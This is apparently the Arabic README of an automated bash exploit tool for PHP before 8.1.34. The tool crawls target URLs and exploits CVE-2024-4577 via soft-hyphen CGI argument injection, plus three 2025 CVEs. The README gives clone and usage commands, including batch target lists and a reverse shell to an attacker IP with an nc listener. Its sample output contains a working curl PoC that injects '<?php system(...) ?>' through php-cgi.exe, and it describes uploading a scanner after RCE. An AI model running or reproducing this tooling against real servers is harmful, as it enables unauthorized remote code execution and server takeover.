
الكشف الآلي واستغلال الثغرات الحرجة في PHP (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
الكشف الآلي واستغلال ثغرات PHP الحرجة (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
PHP8.1.x_Exploit.sh هي أداة تقييم أمني ملف واحد، بدون إعدادات تكتشف تلقائيًا نقاط نهاية PHP الضعيفة وتستغل أربعة CVE عالية التأثير تؤثر على إصدارات PHP قبل 8.1.34 (التي صدرت في ديسمبر 2024). لا تتطلب أي صياغة يدوية للحمولات – فقط قم بتوفير عنوان URL وسيقوم السكريبت بالباقي، من الزحف إلى تنفيذ الأوامر عن بُعد. تحكم كامل آلي – يكتشف ويستغل تلقائيًا دون مطالبات من المستخدم.
-d وتجاوز باستخدام الواصلة الناعمة %AD.getimagesize()
array_merge.parallel إذا كان متاحًا، ويعود إلى الوضع العادي بلطف.لا حاجة لصلاحيات الجذر – الأداة ترسل فقط طلبات HTTP وتنفذ اختياريًا شيل عكسي (يتطلب مستمعًا على جهازك).
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
هدف واحد (الأكثر شيوعًا)
./PHP8.1.x_Exploit.sh -u http://target.example.com
هدف واحد مع شيل عكسي (CVE-2024-4577)
./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444
ثم على جهازك:
nc -lvnp 4444
فحص دفعات متعددة الأهداف
./PHP8.1.x_Exploit.sh -l targets.txt --threads 10
مثال targets.txt:
http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com
وضع الفحص فقط (بدون محاولات استغلال)
./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only
حفظ التقرير في ملف
./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt
مخرجات مفصلة / تصحيح
./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # صاخب جدًا
ملاحظة: يمكن اكتشاف CVE-2025-14180 و CVE-2025-14178 بدقة فقط من داخل الخادم (اختبارات محلية). يحقق السكريبت ذلك عن طريق تحميل ماسح بعد استغلال CGI بنجاح.
[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)
===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================
--revshell يفتح مقبسًا من الهدف إلى جهازك. تأكد من أن لديك الحق في الاتصال العكسي.نرحب بطلبات السحب (Pull requests)، تقارير الأخطاء، واقتراحات الميزات. يرجى اتباع:
parallel وبدونه.رخصة GNU العامة العامة v3.0 – انظر ملف LICENSE.
صُنع بـ 🧠 لمجتمع الأمن. استخدمه بأخلاق.
| الاعتماد | الغرض | هل هو مثبت عادة؟ |
|---|
bash 4.0+ | مترجم السكريبت | نعم (Linux/macOS) |
curl | طلبات HTTP | نعم |
grep, sed, awk | معالجة النصوص | نعم |
mktemp | إنشاء ملفات مؤقتة | نعم |
(اختياري) parallel | فحص دفعات أسرع | لا (لكن موصى به) |
(اختياري) jq | تنسيق مخرجات JSON | لا |
| المرحلة | الإجراء |
|---|
| 1 | أخذ البصمات – نظام التشغيل وإصدار PHP من الرؤوس والاستقصاءات. |
| 2 | الزحف – استخراج سمات href و action من الصفحة الرئيسية. |
| 3 | اكتشاف CGI – تجربة المسارات الشائعة والروابط المزحف عليها التي تشبه CGI. |
| 4 | اختبار CVE-2024-4577 – حقن كل من حمولات -d و %AD؛ إذا نجح، ينفذ الأوامر أو يرسل شيل عكسي. |
| 5 | اكتشاف نقطة نهاية التحميل – التحقق من مسارات التحميل الشائعة وأي نماذج تحتوي على "upload"/"image". |
| 6 | اختبار CVE-2025-14177 – إنشاء JPEG مشوه، إرساله POST إلى كل نقطة نهاية تحميل، اكتشاف تسربات heap. |
| 7 | الفحص الداخلي العميق – إذا تم تحقيق RCE، تحميل سكريبت ماسح PHP وتشغيله لاختبار CVE-2025-14180 / CVE-2025-14178. |
| 8 | التقرير – طباعة ملخص وكتابته اختياريًا في ملف. |
| الخيار | الوصف |
|---|
-u URL | عنوان URL الهدف الفردي (مثال http://example.com/) |
-l FILE | ملف دفعي يحتوي على عنوان URL واحد لكل سطر |
--scan-only | الكشف فقط – لا تستغل (لا شيل عكسي، لا تحميل حمولات) |
-o FILE | كتابة التقرير النهائي إلى FILE |
--threads N | عدد الخيوط المتوازية للفحص الدفعي (الافتراضي: 5) |
--timeout N | مهلة HTTP بالثواني (الافتراضي: 10) |
--no-color | تعطيل المخرجات الملونة |
--verbose | إظهار التقدم التفصيلي |
--debug | إظهار كل طلب HTTP (قد يعرض بيانات حساسة) |
--revshell IP PORT | محاولة شيل عكسي عند العثور على CVE-2024-4577 |
-h, --help | عرض المساعدة والخروج |
| CVE | الخطورة | التأثير | ناقل الاستغلال | تم الإصلاح في |
|---|
| CVE-2024-4577 (تجاوز) | حرجة | RCE | حقن وسيطات CGI في Windows (تعيين الواصلة الناعمة) | PHP 8.1.34 |
| CVE-2025-14177 | متوسط/عالي | تسرب معلومات (ذاكرة heap) | JPEG مشوه يُمرر إلى getimagesize() | PHP 8.1.34 |
| CVE-2025-14180 | عالي | رفض الخدمة (إلغاء مرجع NULL) | PDO PostgreSQL مع محاكاة الـ prepares + معامل مشوه \x99 | PHP 8.1.34 |
| CVE-2025-14178 | عالي (8.2) | رفض الخدمة / تلف محتمل للذاكرة | array_merge() مع مصفوفات ضخمة تسبب تجاوز سعة عدد صحيح | PHP 8.1.34 |
| المشكلة | الحل |
|---|
curl: command not found | قم بتثبيت curl |
GNU parallel not found | يتم تجاهله – السكريبت يعمل بدونه (فحص دفعات أبطأ) |
| لم يتم العثور على نقاط نهاية CGI | قد لا يستخدم الهدف CGI، أو أنه خلف جدار حماية تطبيقات الويب (WAF) يمنع علامات -d |
| يعمل CVE-2024-4577 لكن الشيل العكسي يفشل | تحقق من جدار الحماية؛ جرب حمولة أبسط باستخدام --scan-only ومستمع nc يدوي |
| اختبار تسرب الصورة يعيد دائمًا "No leak" | قد لا تستخدم نقطة نهاية التحميل getimagesize()، أو أنها تنظف البيانات الثنائية |
| فشل تحميل الماسح المحلي | قد لا يكون جذر الويب قابلاً للكتابة؛ يحاول السكريبت الكتابة في نفس دليل سكريبت CGI |